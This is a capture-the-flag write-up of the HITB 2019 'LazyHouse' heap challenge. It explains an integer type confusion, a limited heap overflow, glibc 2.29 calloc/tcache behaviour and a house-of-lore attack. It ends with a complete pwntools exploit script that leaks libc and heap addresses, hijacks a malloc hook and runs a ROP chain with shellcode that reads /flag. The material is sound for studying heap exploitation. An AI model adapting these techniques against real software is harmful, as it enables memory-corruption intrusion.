LazyHouse¶
HITB Qual 2019
Vulnerability¶
Type Confusion¶
The value of (int64_t size)
is cast to uint64
, and the high bits (higher than 64) of the result of imul
can be ignored.
For Example, if we enter a value 0x13f69b02593f69b1
as size of a house.
We can make the result of imul
to be very small, which is the money we need to pay for the house.
After that, if we sell the house, we will get as much money as size << 6
.
In one word, we enter a size for house and then sell the house, we will get as much money as -((uint64_t)(size * 0xda) & 0xffffffffffffffff) + (uint64_t)(size << 6)
.
We fraudulently obtain money without paying anything~
Heap Overflow¶
Only twice
We can make a 32 bytes heap overflow when we upgrade a house.
Diffifulty¶
Calloc¶
We can only buy a normal house and get a chunk allocated buy function calloc
. If we want to use malloc, we need to buy a super house.
The differences between malloc
and calloc
are shown as follows.
- calloc
will not use tcache bins for allocation.
For __libc_malloc
For __libc_calloc
And, _int_malloc
will directly search fastbins for allocating rather than searching tcache bins firstly.
calloc
will zero the memory got from__int_malloc
.
Glibc 2.29¶
- Glibc2.28 disallowed unsotedbin attack for arbitrary address writing. So, it is not easy to overwrite
global_max_fast
to fuck chunks and bins of any size into the range of fastbins. - Glibc2.29 disallowed house of force.
Exploit¶
Get Enough Money¶
I play the trick mentioned before to get the money close to 0xffffffffffffffff for further exploiting.
def fuck_money(size): buy_house(7, size, "\x00") sell(7) log.critical(hex(check_money())) fuck_money(0x13f69b02593f69b1) fuck_money(0x109bb0727572e2bd) fuck_money(0x13f2b1389a662c33) fuck_money(0x4fcace18cee3091)
Leak¶
If we want to make the address of libc appear in heap, we should make the tcache bins of our size full. It is great that calloc does not obtain bin from tcache bins. So, we can do buy and sell operation for more then 7 times to fill tcache bins of our size up.
make tcache size 0x217 full or i in range(0, 7): buy_house(7, 0x217, "\x00") sell(7)
buy_house(2, 0x80, "x" * 0x10) sell(2) buy_house(0, 0x400, "\xaa" * 0x400) buy_house(1, 0xa0, "\xbb" * 0xa0) buy_house(2, 0x90, "\xcc" * 0x90) buy_house(3, 0x90, "\xdd" * 0x90)
Then, I use house 0 to make the overflow to overwrite the size of the chunk at 0x15d0 to 0x8d1.
#overlapping first upgrade(0, "\xaa" * 0x400 + p64(0) + p64(0x8d1)) for i in range(0, 7): buy_house(7, 0x90, "\x11" * 0x90) sell(7)
Then, I fill the tcache of size (0x90 + 0x10) up, and I make 4 chunk of this size, which will be free into unsorted bins.
for i in range(0, 7): buy_house(7, 0x90, "\x11" * 0x90) sell(7) #unsorted bin buy_house(4, 0x90, "\x44" * 0x90) buy_house(5, 0x90, "\x55" * 0x90) buy_house(6, 0x90, "\x66" * 0x90) buy_house(7, 0x90, "\x77" * 0x90)
sell(1)
Then, I calloc the chunk of (0x8d0 - 0x10) to get the chunk again. Which is the most import is that, we then free the chunk of house 4 and house 6 to make them into unsorted bins.
buy_house(1, 0x8c0, "\xbb" * 0xa0 + p64(0) + p64(0xa1) + "\xcc" * 0x90 + p64(0) + p64(0xa1) + "\xdd" * 0x90 + (p64(0) + p64(0xa1) + "\x11" * 0x90) * 7 + p64(0) + p64(0xa1) + "\x44" * 0x90 + p64(0) + p64(0xa1) + "\x55" * 0x90 + p64(0) + p64(0xa1) + "\x66" * 0x90 + p64(0) + p64(0xa1) + "\x77" * 0x90 ) #pause() sell(4) sell(6)
And show house 1 to get heap address and libc address.
#leak show_house(1, reading = False) for i in range(0, 10): ru(p64(0xa1)) leaked_libc = u64(p.read(8)) leaked_heap = u64(p.read(8)) libc_base = leaked_libc - 0x1e4ca0 heap_base = leaked_heap - 0x1d60 log.critical("libc_base --> {}".format(hex(libc_base))) log.critical("heap_base --> {}".format(hex(heap_base)))
House of Lore¶
I use house of lore to fuck the tcache struct in heap range to reach the goal of arbitrary writing. Firstly, I sell the bit chunk and buy the chunk to change the value overlapped by this chunk. This is really usefull in the consistance that we can only upgrade houses for twice. By modifying chunks, we can make the change the size of the chunk of house 2 to 0x21 and the size of the chunk of house 7 to 0x31.
sell(1) buy_house(1, 0x8c0, "\xbb" * 0xa0 + p64(0) + p64(0x21) + "\xcc" * 0x10 + p64(0) + p64(0xa1 - 0x20) + "\x00" * (0x90 - 0x20) + p64(0) + p64(0xa1) + "\xdd" * 0x90 + (p64(0) + p64(0xa1) + "\x11" * 0x90) * 7 + p64(0) + p64(0xa1) + p64(libc_base + 0x1e4d40 - 0x10) + p64(heap_base + 0x1d60) + "\x44" * 0x80 + p64(0) + p64(0x21) + "\x55" * 0x10 + p64(0) + p64(0xa1 - 0x20) + "\x00" * (0x90 - 0x20) + p64(0) + p64(0xa1) + p64(heap_base + 0x1c20) + p64(libc_base + 0x1e4d40 - 0x10) + "\x66" * 0x80 + p64(0) + p64(0x31) + p64(heap_base + 0x40) * 4 + p64(0) + p64(0xa1 - 0x30) + "\x00" * (0x90 - 0x30) ) #prepare for house of lore sell(2) sell(7) sell(1)
We sell the chunk of house 1, that big chunk, for further making a small bin at the address of that 0x21 tcache chunk. (The pointer in tcache struct is &chunk + 0x10) We buy a chunk, the size of which is (0xb0 + 0x10), to make the top chunk start at the address of that 0x21 tcache bin. GREAT~
buy_house(1, 0xb0, "\x11" * 0xb0)
Obtain the small bin in smallbins to clean the smallbins.
buy_house(2, 0x90, "\x22" * 0x90)
buy_house(6, 0x217, "\x66" * 0x90)
So, it is good for the check for smallbins list. p->BK->prev == p. We then get a smallbin chunk to avoid being merging with top_chunk.
buy_house(4, 0x217, "\x44" * 0x90)
calloc
, we need to zero memory with the size of the fake chunk (0 is really not good).
buy_house(6, 0x3a0, p64(heap_base + 0x40) * (0x3a0 / 8)) sell(6)
Then we make the second overflow to do house of lore attack, modify p->bk to fake_chunk.
upgrade(1, "\x22" * 0xb0 + p64(0) + p64(0xa1) + p64(libc_base + 0x1e4d30) + p64(heap_base + 0x40))
heap_base + 0x40
. The great trick of setting bitmap to 0x100 has aslo meet that requirement.
buy_house(6, 0x3a0, p64(heap_base + 0x40) * (0x3a0 / 8))
__calloc_hook
and buy a big house (use malloc).
We can make ROP_CHAIN when we buy the house.
It is interesting that when we call __calloc_hook
, the register rbp
is the same value as size.
So, we change __calloc_hook
to a Gadget leave; ret
to do ROP at the ROP_CHAIN by calloc(&heap_chunk + ?).
EXP¶
from pwn import * local=1 pc='./lazyhouse' aslr=True context.log_level="debug" context.word_size = 64 context.os = "linux" context.endian = "little" libc=ELF('./libc.so.6') if local==1: #p = process(pc,aslr=aslr,env={'LD_PRELOAD': './ld-linux-x86-64.so.2', "LD_LIBRARY_PATH":"./"}) p = process(pc,aslr=aslr) #gdb.attach(p, "b malloc_printerr") else: remote_addr=['6.6.6.6', 6666] p=remote(remote_addr[0],remote_addr[1]) ru = lambda x : p.recvuntil(x) sn = lambda x : p.send(x) rl = lambda : p.recvline() sl = lambda x : p.sendline(x) rv = lambda x : p.recv(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) def lg(s,addr): print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr)) def raddr(a=6): if(a==6): return u64(rv(a).ljust(8,'\x00')) else: return u64(rl().strip('\n').ljust(8,'\x00')) def buy_house(index, size, buf, logging = False): ru("Your choice: ") log.info("target price --> {price}".format(price = hex(size * 0xDA & 0xffffffffffffffff))) sl("1") ru("Your money:") money_now = int(rl().strip()) log.info("money_now --> {money_now}".format(money_now = hex(money_now))) ru("Index:") sl(str(index)) ru("Size:") sl(str(size)) ru("Price:") log.info("price --> {price}".format(price = hex(int(rl().strip())))) if logging == True: return if(p.read(6) != "House:"): rl() log.critical("fucked a really big house") return sn(buf) def show_house(index, reading = True): ru("Your choice: ") sl("2") ru("Index:") sl(str(index)) if reading == True: return ru("$$$$$$$$$$$$$$$$$$$$$$$$$$$$")[:-len("$$$$$$$$$$$$$$$$$$$$$$$$$$$$")] def upgrade(index, buf): ru("Your choice: ") sl("4") ru("Index:") sl(str(index)) ru("House:") sn(buf) def sell(index): ru("Your choice: ") sl("3") ru("Index:") sl(str(index)) def check_money(): ru("Your choice: ") sl("1") ru("Your money:") money_now = int(rl().strip()) #log.critical("money_now --> {money}".format(money = hex(money_now))) ru("Index:") sl("7") ru("Size:") sl(str(0x10)) #log.critical("max calloc --> {money}".format(money = hex(money_now / 0xda))) return money_now def buy_super(buf): ru("Your choice: ") sl("5") ru("House:") sn(buf) def show_super(): ru("Your choice: ") sl("6") ru("Here is supper house:\n") return p.read(0x217) def fuck_money(size): buy_house(7, size, "\x00") sell(7) log.critical(hex(check_money())) if __name__ == '__main__': fuck_money(0x13f69b02593f69b1) fuck_money(0x109bb0727572e2bd) fuck_money(0x13f2b1389a662c33) fuck_money(0x4fcace18cee3091) #make tcache size 0x217 full for i in range(0, 7): buy_house(7, 0x217, "\x00") sell(7) #chunk after tcache and before tmp tcache bins buy_house(2, 0x80, "x" * 0x10) sell(2) buy_house(0, 0x400, "\xaa" * 0x400) buy_house(1, 0xa0, "\xbb" * 0xa0) buy_house(2, 0x90, "\xcc" * 0x90) buy_house(3, 0x90, "\xdd" * 0x90) #overlapping first upgrade(0, "\xaa" * 0x400 + p64(0) + p64(0x8d1)) for i in range(0, 7): buy_house(7, 0x90, "\x11" * 0x90) sell(7) #unsorted bin buy_house(4, 0x90, "\x44" * 0x90) buy_house(5, 0x90, "\x55" * 0x90) buy_house(6, 0x90, "\x66" * 0x90) buy_house(7, 0x90, "\x77" * 0x90) #a big chunk sell(1) #pause() buy_house(1, 0x8c0, "\xbb" * 0xa0 + p64(0) + p64(0xa1) + "\xcc" * 0x90 + p64(0) + p64(0xa1) + "\xdd" * 0x90 + (p64(0) + p64(0xa1) + "\x11" * 0x90) * 7 + p64(0) + p64(0xa1) + "\x44" * 0x90 + p64(0) + p64(0xa1) + "\x55" * 0x90 + p64(0) + p64(0xa1) + "\x66" * 0x90 + p64(0) + p64(0xa1) + "\x77" * 0x90 ) #pause() sell(4) sell(6) #leak show_house(1, reading = False) for i in range(0, 10): ru(p64(0xa1)) leaked_libc = u64(p.read(8)) leaked_heap = u64(p.read(8)) libc_base = leaked_libc - 0x1e4ca0 heap_base = leaked_heap - 0x1d60 log.critical("libc_base --> {}".format(hex(libc_base))) log.critical("heap_base --> {}".format(hex(heap_base))) sell(1) #pause() buy_house(1, 0x8c0, "\xbb" * 0xa0 + p64(0) + p64(0x21) + "\xcc" * 0x10 + p64(0) + p64(0xa1 - 0x20) + "\x00" * (0x90 - 0x20) + p64(0) + p64(0xa1) + "\xdd" * 0x90 + (p64(0) + p64(0xa1) + "\x11" * 0x90) * 7 + p64(0) + p64(0xa1) + p64(libc_base + 0x1e4d40 - 0x10) + p64(heap_base + 0x1d60) + "\x44" * 0x80 + p64(0) + p64(0x21) + "\x55" * 0x10 + p64(0) + p64(0xa1 - 0x20) + "\x00" * (0x90 - 0x20) + p64(0) + p64(0xa1) + p64(heap_base + 0x1c20) + p64(libc_base + 0x1e4d40 - 0x10) + "\x66" * 0x80 + p64(0) + p64(0x31) + p64(heap_base + 0x40) * 4 + p64(0) + p64(0xa1 - 0x30) + "\x00" * (0x90 - 0x30) ) #prepare for house of lore sell(2) sell(7) sell(1) buy_house(1, 0xb0, "\x11" * 0xb0) buy_house(2, 0x90, "\x22" * 0x90) buy_house(6, 0x217, "\x66" * 0x90) buy_house(4, 0x217, "\x44" * 0x90) sell(6) #set bitmap to 0x100 buy_house(6, 0x3a0, p64(heap_base + 0x40) * (0x3a0 / 8)) sell(6) pause() #house of lore upgrade(1, "\x22" * 0xb0 + p64(0) + p64(0xa1) + p64(libc_base + 0x1e4d30) + p64(heap_base + 0x40)) libc.address = libc_base malloc_hook = libc.symbols["__malloc_hook"] mprotect = libc.symbols["mprotect"] leave_ret = libc_base + 0x0000000000058373 pop_rdi_ret = libc_base + 0x0000000000026542 pop_rsi_ret = libc_base + 0x0000000000026f9e pop_rdx_ret = libc_base + 0x000000000012bda6 call_rdx = libc_base + 0x0000000000143650 ROP_CHAIN = p64(pop_rdi_ret) + p64(heap_base) + \ p64(pop_rsi_ret) + p64(0x4000) + \ p64(pop_rdx_ret) + p64(7) + p64(mprotect) + \ p64(pop_rdx_ret) + p64(heap_base + 0x1780) + p64(call_rdx) ROP_CHAIN = ROP_CHAIN.ljust(0x1700 - 0x16a0, "\x90") ROP_CHAIN += "/flag\0" ROP_CHAIN = ROP_CHAIN.ljust(0x1780 - 0x16a0, "\x90") buffer_addr = heap_base + 0x1700 heap_addr = heap_base + 0x2000 code = asm(pwnlib.shellcraft.amd64.linux.open(buffer_addr, 0, 2).replace("push SYS_open", "push 2")) code += asm(pwnlib.shellcraft.amd64.linux.syscall('SYS_read', 'rax', heap_addr, 0x100)) code += asm(pwnlib.shellcraft.amd64.linux.syscall('SYS_write', 1 , heap_addr, 0x100).replace("push SYS_write", "push 1")) code += asm(pwnlib.shellcraft.amd64.linux.syscall('SYS_exit', 0)) ROP_CHAIN += code buy_house(6, 0x217, ROP_CHAIN) buy_house(7, 0x217, p64(malloc_hook) * 0x40) buy_super(p64(leave_ret) * 2) sell(1) buy_house(1, heap_base + 0x16a0 - 8, ROP_CHAIN, logging = True) p.interactive()